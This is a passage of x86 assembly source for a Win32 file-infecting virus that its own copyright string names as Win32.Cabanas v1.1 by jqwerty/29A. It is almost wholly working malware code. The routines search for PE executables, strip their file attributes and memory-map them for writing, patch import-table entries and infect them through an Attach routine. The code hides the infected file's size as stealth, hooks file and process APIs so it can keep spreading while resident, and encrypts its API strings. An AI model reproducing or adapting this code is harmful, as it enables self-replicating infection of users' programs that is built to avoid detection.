mov eax,[esp.(Pshd).Pushad_ebp]
push dword ptr [eax + K32Mod - ebp_num]
call GetProcAddressET ;scan export table of specified module handle
xchg eax,ecx ;and get function adress of specified API
mov ecx,[esi.ID_FirstThunk - x] ;This is needed just in case the API function adressez are bound in the IAT
jecxz End_GetProcAddressIT ;if not found then go, this value cant be zero or the IAT wont be patched
push eax
call GetProcAddrIAT ;inspect first thunk (which later will be patched by the loader)
test eax,eax
jnz IAT_found ;if found then jump (save it and go)
mov ecx,[esi.ID_OriginalFirstThunk - x] ;get original thunk (which later will hold the original unpatched IAT)
jecxz End_GetProcAddressIT ;if not found then go, this value could be zero
push eax
call GetProcAddrIAT ;inspect original thunk
test eax,eax
jz IAT_found ;jump if not found
sub eax,ecx ;we got the pointer
add eax,[esi.ID_FirstThunk - x] ;convert it to RVA
db 6Bh,33h,0C0h ;imul esi,[ebx],-0C0h ;i like bizarre thingz =8P
org $ - 2
End_GetProcAddressIT:
db 33h,0C0h ;xor eax,eax ;error, adress not found
IAT_found:
mov [esp.Pushad_eax],eax ;save IAT entry pointer
popad
ret (2*Pshd) ;jump and unwind parameterz in stack
findfirst: ;this function is just a wraper to the FindFistFileA API..
lea ebx,[ebp + FindData - ebp_num]
push ebx ;args for findfirst
push esi ;args for findfirst
call [ebp + ddFindFirstFileA - ebp_num] ;call FindFirstFileA API
end_findfirst:
inc eax
cld
ret
get_size: ;this function retrieves the file size and discards
; huge filez, it also sets some parameterz for l8r use
;on entry:
; EBX = pointer to WIN32_FIND_DATA structure
;on exit:
; EAX = file size
; ESI = pointer to filename
; Carry clear: file ok
; Carry set: file too large
xor ecx,ecx
test byte ptr [ebx.WFD_dwFileAttributes],FILE_ATTRIBUTE_DIRECTORY
jnz get_size_ret ;discard directory entriez
mov edx,ecx
cmp [ebx.WFD_nFileSizeHigh],edx ;discard huge filez, well if any thaat big (>4GB)
mov cl,65h ;load size padin value
lea esi,[ebp + PathName - ebp_num] ;get pointer to filename
mov eax,[ebx.WFD_nFileSizeLow] ;get file size
get_size_ret:
ret
GetProcAddrIAT: ;this function scans the IMAGE_THUNK_DATA array of "dwords"
; from the selected IMAGE_IMPORT_DESCRIPTOR, searchin for
; the selected API name. This function works for both
; bound and unbound import descriptorz. This function is
; called from inside GetProcAddressIT.
;on entry:
; EBX = RAW start pointer of import section
; ECX = RVA pointer to IMAGE_THUNK_ARRAY
; EDX = RVA start pointer of import section
; EDI = pointer selected API function name.
; EBP = RAW size of import section
; TOS+04h (Arg1): real address of API function inside selected
; module (in case the descriptor is unbound).
; TOS+00h (return adress)
;on exit:
; EAX = RVA pointer to IAT entry
; EAX = 0, if not found
push ecx
push esi
sub ecx,edx
xor eax,eax
cmp ecx,ebp
jae IT_not_found
lea esi,[ebx + ecx] ;get RAW pointer to IMAGE_THUNK_DATA array
next_thunk_dword:
lodsd ;get dword value
test eax,eax ;end of IMAGE_THUNK_DATA array?
jz IT_not_found
no_ordinal:
sub eax,edx ;convert dword to a RAW pointer
cmp eax,ebp ;dword belongs to an unbound image descriptor?
jb IT_search ;no, jump
add eax,edx ;yea, we have the API adress itself, reconvert to RVA
cmp eax,[esp.(2*Pshd).Arg1] ;API adressez match?
jmp IT_found? ;yea, we found it, jump
IT_search:
push esi ;image descriptor contains imports by name
lea esi,[ebx+eax.IBN_Name] ;get API name from import descriptor
mov edi,[esp.(5*Pshd).cPushad.Arg2] ;get API name selected as a parameter
IT_next_char: ;find requested API from all imported API namez..
cmpsb ;do APIz match?
jnz IT_new_search ;no, continue searchin
IT_Matched_char:
cmp byte ptr [esi-1],0
jnz IT_next_char
IT_new_search:
pop esi ;yea, they match, we found it
IT_found?:
jnz next_thunk_dword
lea eax,[edx+esi-4] ;get the pointer to the new IAT entry
sub eax,ebx ;convert it to RVA
IT_not_found:
pop esi
pop ecx
ret (Pshd)
GetProcAddressIT ENDP
check_PE_file: ;this function opens, memory-maps a file and checks
; if its a PE file
;on entry:
; EBX = pointer to WIN32_FIND_DATA structure
; ESI = pointer to filename
;on exit:
; ESI = 0, file already infected or not infectable
; ESI != 0, file not infected
call Open&MapFile ;open and memory-map the file
jecxz end_PE_file
mov eax,[ebx.WFD_nFileSizeLow] ;get file size
add eax,-80h
jnc Close_File ;file too short?
Check_PE_sign: ;this function checks validity of a PE file.
;on entry:
; ECX = base address of memory-maped file
; EBX = pointer to WIN32_FIND_DATA structure
; EAX = host file size - 80h
;on exit:
; ESI = 0, file already infected or not infectable
; ESI != 0, file not infected
cmp word ptr [ecx],IMAGE_DOS_SIGNATURE ;needs MZ signature
jnz Close_File
mov edi,[ecx.MZ_lfanew] ;get ptr to new exe format
cmp eax,edi ;ptr out of range?
jb Close_File
add edi,ecx
cmp dword ptr [edi],IMAGE_NT_SIGNATURE ;check PE signature
jnz Close_File
cmp word ptr [edi.NT_FileHeader.FH_Machine], \ ;must be 386+ machine
IMAGE_FILE_MACHINE_I386
jnz Close_File
mov eax,dword ptr [edi.NT_FileHeader.FH_Characteristics]
not al
test ax,IMAGE_FILE_EXECUTABLE_IMAGE or \ ;must have the executable bit but cant be a DLL
IMAGE_FILE_DLL
jnz Close_File
;at this point, calculate virus checksum to make sure file is really
;infected. If its infected then return original size of host previous
;to infection and store it in the WIN32_FIND_DATA structure (stealth).
mov eax,[edi.NT_OptionalHeader.OH_CheckSum] ;get checksum field
push eax
sub al,2Dh ;calculate virus checksum to make sure file is really infected
xor ah,al
mov al,[edi.NT_FileHeader.FH_TimeDateStamp.hiw.hib]
xor ah,byte ptr [edi.NT_OptionalHeader.OH_CheckSum.hiw]
and al,11111100b
xor ah,al
mov [ebp + uni_or_ansi - ebp_num],ah
inc ah
pop eax
jnz go_esi
xor eax,0B2FD26A3h xor 68000000h
xor eax,[edi.NT_FileHeader.FH_TimeDateStamp]
and eax,03FFFFFFh
cmp eax,[ebx.WFD_nFileSizeLow]
jnc go_esi
mov [ebx.WFD_nFileSizeLow],eax ;return original file size
go_esi: inc esi ;set "already infected" mark
Close_File:
call Close&UnmapFile ;close and unmaps file
end_PE_file:
dec esi
ret
pop_ebp: ;get the ebp_num value needed to access variablez thru EBP
pop ebp
if (ebp_num - m_ebp)
lea ebp,[ebp + ebp_num - m_ebp]
endif
mov [ebp + uni_or_ansi - ebp_num],al
cld
another_ret:
ret
Process_File2: ;this function checks the file size, retrieves some key API
; adressez from inside the import table and infects the file.
;on entry:
; EBX = pointer to WIN32_FIND_DATA structure
; ESI = pointer to filename
call get_size
jnz another_ret ;if file size too short, jump
cmp eax,4000000h - 10*1024
jnc another_ret ;if file size too large (>64MB), jump
div ecx ;check infection thru size paddin
dec edx
js another_ret ;already infected, jump
call check_PE_file ;open file, check PE signature and close file
jnz another_ret ;not valid PE file, jump
inc byte ptr [ebp + uni_or_ansi - ebp_num] ;double-check file
jz another_ret ;discard if infected
Bless: ;this function prepares the host file for infection: blank file
; atributez, open and map file in r/w mode, retrieves RVA pointerz
; to GetModuleHandleA, GetModuleHandleW and GetProcAddress, call
; the "Attach" function to infect the file and finaly restore
; date/time stamp and attributez
push esi
lea esi,[ebp + PathName - ebp_num] ;get pointer to filename
push esi
call [ebp + ddSetFileAttributesA - ebp_num] ;blank file atributez
xchg ecx,eax
jecxz another_ret ;if error, jump, if disk is write-protected for example
push esi
mov edi,virtual_end - code_start ;calculate buffer size needed for infection
add edi,[ebx.WFD_nFileSizeLow] ;add to original size
call Open&MapFileAdj ;open and map file in read/write mode
jecxz end_Bless2 ;if any error, if file is locked for example, jump
lea eax,[ebp + vszGetModuleHandleA - ebp_num]
call IGetProcAddressIT ;get RVA pointer to GetModuleHandleA API in the import table
test esi,esi
jz end_Bless3 ;if KERNEL32 import descriptor not found, dont infect
x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR
mov [ebp + ptrForwarderChain - ebp_num],edx ;store RVA pointer to ForwarderChain field from KERNEL32 import descriptor
mov edx,[esi.ID_ForwarderChain - x]
mov [ebp + ddGetModuleHandleA - ebp_num],eax ;store RVA pointer to GetModuleHandleA API
mov [ebp + ddForwarderChain - ebp_num],edx ;store actual ForwarderChain field value from KERNEL32 import descriptor
cdq ;edx=0
dec eax ;if RVA pointer to GetModuleHandleA found, jump and store null for GetModulehandleW RVA pointer (not needed)
jns StoreHandleW
lea eax,[ebp + vszGetModuleHandleW - ebp_num]
call IGetProcAddressIT ;get RVA pointer to GetProcAddress API in the import table
xchg eax,edx
test edx,edx ;if found, jump and store GetModuleHandleW RVA pointer
jnz StoreHandleW
cmp [esi.ID_TimeDateStamp - x],edx ;shit, not found, now check if KERNEL32 API adressez are binded
jz StoreHandleW
cmp edx,[esi.ID_OriginalFirstThunk - x]
jz end_Bless3
mov [esi.ID_TimeDateStamp - x],edx
StoreHandleW:
mov [ebp + ddGetModuleHandleW - ebp_num],edx ;store RVA pointer to GetModuleHandleW API
lea eax,[ebp + vszGetProcAddress - ebp_num]
call IGetProcAddressIT ;get RVA pointer to GetModuleHandleA API in the import table
mov [ebp + ddGetProcAddress - ebp_num],eax ;store RVA pointer to GetModuleHandleW API if found, store zero if not found anywayz
call Attach ;infect file
;at this point:
; ECX = host base adress, start of memory-maped file
; EDI = original file size
end_Bless3:
call Close&UnmapFileAdj ;close, unmap file and restore other setingz if necesary
end_Bless2:
pop esi ;get pointer to filename
mov ecx,[ebx.WFD_dwFileAttributes] ;get original file atributez
jecxz end_Bless1
push ecx
push esi
call [ebp + ddSetFileAttributesA - ebp_num] ;restore original file atributez
end_Bless1:
end_Process_File2:
ret
GetProcAddressET proc ;This function is similar to GetProcAddressIT except
; that it looks for API functions in the export table
; of a given DLL module. It has the same functionality
; as the original GetProcAddress API exported from
; KERNEL32 except that it is able to find API
; functions exported by ordinal from KERNEL32.
;on entry:
; TOS+08h (Arg2): pszAPIname (pointer to API name)
; TOS+04h (Arg1): module handle/base address of module
; TOS+00h (return adress)
;on exit:
; ECX = API function address
; ECX = 0, if not found
pushad
@SEH_SetupFrame
mov eax,[esp.(2*Pshd).cPushad.Arg1] ;get Module Handle from Arg1
mov ebx,eax
add eax,[eax.MZ_lfanew] ;get address of PE header
mov ecx,[eax.NT_OptionalHeader \ ;get size of Export directory
.OH_DirectoryEntries \
.DE_Export \
.DD_Size]
jecxz Proc_Address_not_found ;size is zero, no API exported
mov ebp,ebx ;get address of Export directory
add ebp,[eax.NT_OptionalHeader \
.OH_DirectoryEntries \
.DE_Export \
.DD_VirtualAddress]
ifdef Ordinal
mov eax,[esp.(2*Pshd).cPushad.Arg2] ;get address of requested API from Arg2
test eax,-10000h ;check if Arg2 is an ordinal
jz Its_API_ordinal
endif
Its_API_name:
push ecx
mov edx,ebx ;get address of exported API namez
add edx,[ebp.ED_AddressOfNames]
mov ecx,[ebp.ED_NumberOfNames] ;get number of exported API namez
xor eax,eax
cld
Search_for_API_name:
mov esi,ebx ;get address of next exported API name
add esi,[edx+eax*4]
mov edi,[esp.(3*Pshd).cPushad.Arg2] ;get address of requested API name from Arg2
Next_Char_in_API_name:
cmpsb ;find requested API from all exported API namez
jz Matched_char_in_API_name
inc eax
loop Search_for_API_name
pop eax
Proc_Address_not_found:
xor eax,eax ;API not found
jmp End_GetProcAddressET
ifdef Ordinal
Its_API_ordinal:
sub eax,[ebp.ED_BaseOrdinal] ;normalize Ordinal, i.e. convert it to an index
jmp Check_Index
endif
Matched_char_in_API_name:
cmp byte ptr [esi-1],0 ;end of API name reached ?
jnz Next_Char_in_API_name
pop ecx
mov edx,ebx ;get address of exported API ordinalz
add edx,[ebp.ED_AddressOfOrdinals]
movzx eax,word ptr [edx+eax*2] ;get index into exported API functionz
Check_Index:
cmp eax,[ebp.ED_NumberOfFunctions] ;check for out of range index
jae Proc_Address_not_found
mov edx,ebx ;get address of exported API functionz
add edx,[ebp.ED_AddressOfFunctions]
add ebx,[edx+eax*4] ;get address of requested API function
mov eax,ebx
sub ebx,ebp ;take care of forwarded API functionz
cmp ebx,ecx
jb Proc_Address_not_found
End_GetProcAddressET:
mov [esp.(2*Pshd).Pushad_ecx],eax ;set requested Proc Address, if found
@SEH_RemoveFrame
popad
jmp Ret2Pshd
GetProcAddressET endp
goto_GetProcAddressET:
jmp GetProcAddressET
MyGetProcAddressK32: ;this function is simply a wraper to the GetProcAddress
; API. It retrieves the address of an API function
; exported from KERNEL32.
;on entry:
; EBX = KERNEL32 module handle
; ESI = pszAPIname (pointer to API name)
;on exit:
; ECX = API function address
; ECX = 0, if not found
pop eax
push esi
push ebx
push eax
MyGetProcAddress proc ;this function retrieves API adressez from KERNEL32
mov ecx,? ;this dynamic variable will hold an RVA pointer to the GetProcAddress API in the IAT
ddGetProcAddress = dword ptr $ - 4
jecxz goto_GetProcAddressET
push esi
push ebx
add ecx,[ebp + phost_hdr - ebp_num]
call [ecx] ;call the original GetProcAddress API
xchg ecx,eax
jecxz goto_GetProcAddressET ;if error, call my own GetProcAddress function
Ret2Pshd:
ret (2*Pshd)
MyGetProcAddress endp
MyGetModuleHandleW: ;this function retrieves the base address/module handle
; of KERNEL32 module previosly loaded to memory asumin
; the GetModuleHandleW API was found in the import
; table of the host
mov ecx,? ;this dynamic variable will hold an RVA pointer to the GetModuleHandleW API in the IAT
ddGetModuleHandleW = dword ptr $ - 4
jmp MyGetModuleHandle
MyGetModuleHandleA: ;this function retrieves the base address/module handle
; of KERNEL32 module previosly loaded to memory asumin
; the GetModuleHandleA API was found in the import
; table of the host
mov ecx,? ;this dynamic variable will hold an RVA pointer to the GetModuleHandleA API in the IAT
ddGetModuleHandleA = dword ptr $ - 4
MyGetModuleHandle proc ;this function retrieves the base adress of KERNEL32
;on entry:
; ECX = RVA pointer to GetModuleHandle(A/W) in the IAT
; TOS+04h (Arg1): pointer to KERNEL32 module name
; TOS+00h (return adress)
;on exit:
; Zero flag set = Base adress not found
; Zero flag clear = Base adress found
; EAX = KERNEL32 base adress
sub eax,eax ;set zero flag
pop ebx ;get return adress
pop eax ;Arg1
push ebx ;push return adress
mov ebx,[ebp + phost_hdr - ebp_num] ;get actual host base adress
jecxz end_MyGetModuleHandle ;if not valid GetModuleHandle(A/W) RVA, jump
push eax
call [ebx + ecx] ;call GetModuleHandle(A/W) API
chk_0: inc eax
jz end_MyGetModuleHandle ;if any error, not found, jump
dec eax
end_MyGetModuleHandle:
ret
MyGetModuleHandleX: ;this function retrieves the KERNEL32 base adress
; via an undocumented method. This function procedure
; doesnt work in Winblowz NT
mov eax,[ebx + 12345678h]
ptrForwarderChain = dword ptr $ - 4
cmp eax,12345678h
ddForwarderChain = dword ptr $ - 4
jnz chk_0
ret
MyGetModuleHandle endp
get_ebp2: mov al,0
jnc get_ebp ;clear carry (unicode version)
dec eax ;clear set (ansi version)
get_ebp: call pop_ebp
m_ebp:
v_end: ;virus code ends here
;uninitialized data ;these variablez will be adressed in memory, but dont waste space in the file
ImportHdr dd ? ;import table RVA of current host
pCodeTable dd ? ;pointer to encrypted chunkz of code ;these 2 variables may overlap.
org $ - 4 ;one is used at instalation stage,
pHandlez dd ? ;pointer to top of Handlez table ;the other one used when resident.
phost_hdr dd ? ;pointer to actual base adress of host
pcode_start dd ? ;pointer to start of virus code/data in memory
K32Mod dd ? ;KERNEL32 base adress
ddGetProcAddress2 dd ? ;adress where GetProcAddress API will be stored ;these 2 variables may overlap.
org $ - 4 ;one is used at instalation stage,
pPathNamez dd ? ;pointer to top of PathNamez table ;the other one used when resident.
pNewAPIs dd ? ;pointer to new API entry in the jump table
uni_or_ansi db ? ;needed to diferentiate unicode from ansi stringz
FunctionAdressez: ;this dwordz will hold the API function adressez used by the virus
ddCreateFileA dd ?
ddCreateFileW dd ?
ddFindClose dd ?
ddFindFirstFileA dd ?
ddFindFirstFileW dd ?
ddFindNextFileA dd ?
ddFindNextFileW dd ?
ddSetFileAttributesA dd ?
ddSetFileAttributesW dd ?
ddCloseHandle dd ?
ddCreateFileMappingA dd ?
ddMapViewOfFile dd ?
ddUnmapViewOfFile dd ?
ddSetFilePointer dd ?
ddSetEndOfFile dd ?
ddSetFileTime dd ?
ddGetWindowsDirectoryA dd ?
ddGetSystemDirectoryA dd ?
ddGetCurrentProcess dd ?
ddGetModuleFileName dd ?
ddWriteProcessMemory dd ?
ddWideCharToMultiByte dd ?
ddVirtualAlloc dd ?
v_stringz: ;the API namez used by the virus are decrypted here
vszKernel32 db 'KERNEL32',0
vszGetModuleHandleA db 'GetModuleHandleA',0
vszGetModuleHandleW db 'GetModuleHandleW',0
Exts db 'fxEtcR' ;list of extensionz to infect
db 0
FunctionNamez2: ;resident API namez, needed for dynamically API hookin
vszGetProcAddress db 'GetProcAddress',0
vszGetFileAttributesA db 'GetFileAttributesA',0
vszGetFileAttributesW db 'GetFileAttributesW',0
vszMoveFileExA db 'MoveFileExA',0
vszMoveFileExW db 'MoveFileExW',0
vsz_lopen db '_lopen',0
vszCopyFileA db 'CopyFileA',0
vszCopyFileW db 'CopyFileW',0
vszOpenFile db 'OpenFile',0
vszMoveFileA db 'MoveFileA',0
vszMoveFileW db 'MoveFileW',0
vszCreateProcessA db 'CreateProcessA',0
vszCreateProcessW db 'CreateProcessW',0
FunctionNamez:
vszCreateFileA db 'CreateFileA',0
vszCreateFileW db 'CreateFileW',0
vszFindClose db 'FindClose',0
vszFindFirstFileA db 'FindFirstFileA',0
vszFindFirstFileW db 'FindFirstFileW',0
vszFindNextFileA db 'FindNextFileA',0
vszFindNextFileW db 'FindNextFileW',0
vszSetFileAttributesA db 'SetFileAttributesA',0
vszSetFileAttributesW db 'SetFileAttributesW',0
non_res: ;non-resident API namez
vszCloseHandle db 'CloseHandle',0
vszCreateFileMappingA db 'CreateFileMappingA',0
vszMapViewOfFile db 'MapViewOfFile',0
vszUnmapViewOfFile db 'UnmapViewOfFile',0
vszSetFilePointer db 'SetFilePointer',0
vszSetEndOfFile db 'SetEndOfFile',0
vszSetFileTime db 'SetFileTime',0
vszGetWindowsDirectory db 'GetWindowsDirectoryA',0
vszGetSystemDirectory db 'GetSystemDirectoryA',0
vszGetCurrentProcess db 'GetCurrentProcess',0
vszGetModuleFileName db 'GetModuleFileNameA',0
vszWriteProcessMemory db 'WriteProcessMemory',0
vszWideCharToMultiByte db 'WideCharToMultiByte',0
vszVirtualAlloc db 'VirtualAlloc',0
EndOfFunctionNamez db 0
szCopyright db "(c) Win32.Cabanas v1.1 by jqwerty/29A.",0
org (non_res + 1)
v_end2:
NewAPItable db nAPIS dup (?)
FindData WIN32_FIND_DATA ? ;this structure will hold data retrieved trhu FindFirst/Next APIz
PathName db MAX_PATH dup (?) ;filenamez will be stored here for infection
virtual_end: ;end of virus virtual memory space (in PE filez)
Handlez db nHANDLEZ dup (?) ;Handlez table
PathNamez db nPATHNAMEZ dup (?) ;PathNamez table
virtual_end2: ;end of virus virtual memory space (in flat memory)
first_generation: ;this routine will be called only once from the first generation sample,
;it initializes some variables needed by the virus in the first run.
jumps
push NULL
call GetModuleHandleA
test eax,eax
jz exit
xchg ecx,eax
call ref
ref: pop ebx
mov eax,ebx
sub eax,ref - host
sub eax,ecx
sub eax,[add_1st_val]
mov [ebx + code_table - ref],eax
mov al,6Ah
ror al,1
xor al,[xor_2nd_val]
mov [ebx + code_table + 6 - ref],al
mov eax,ebx
sub eax,ref - code_table
sub eax,ecx
neg eax
mov [ebx + delta_host - ref],eax
mov [ebx + old_base - ref],ecx
mov eax,[ebx + pfnGMH - ref]
.if word ptr [eax] == 25FFh ;jmp [xxxxxxxx]
mov eax,[eax + 2]
.endif
sub eax,ecx
mov [ebx + ddGetModuleHandleA - ref],eax ;set GetModuleHandleA RVA pointer
mov eax,[ebx + pfnGPA - ref]
.if word ptr [eax] == 25FFh ;jmp [xxxxxxxx]
mov eax,[eax + 2]
.endif
sub eax,ecx
mov [ebx + ddGetProcAddress - ref],eax ;set GetProcAddress RVA pointer
cld ;encrypt API stringz
mov ecx,ve_string_size
lea esi,[ebx + ve_stringz - ref]
mov edi,esi
encrypt_stringz:
lodsb
cmp al,80h
lahf
xor al,0B5h
ror al,cl
stosb
sahf
.if zero?
movsb
.endif
dec ecx
cmp ecx,10
jnz encrypt_stringz
mov ecx,v_end2 - v_stringz
lea edi,[ebx + v_stringz - ref]
mov al,-1
rep stosb
jmp v_start
pfnGMH dd offset GetModuleHandleA
pfnGPA dd offset GetProcAddress
;Host code starts here
extrn MessageBoxA: proc
extrn ExitProcess: proc
host: push MB_OK ;display message box
@pushsz "(c) Win32.Cabanas v1.1 by jqwerty/29A"
@pushsz "First generation sample"
push NULL
call MessageBoxA
exit: push 0 ;exit host
call ExitProcess
end first_generation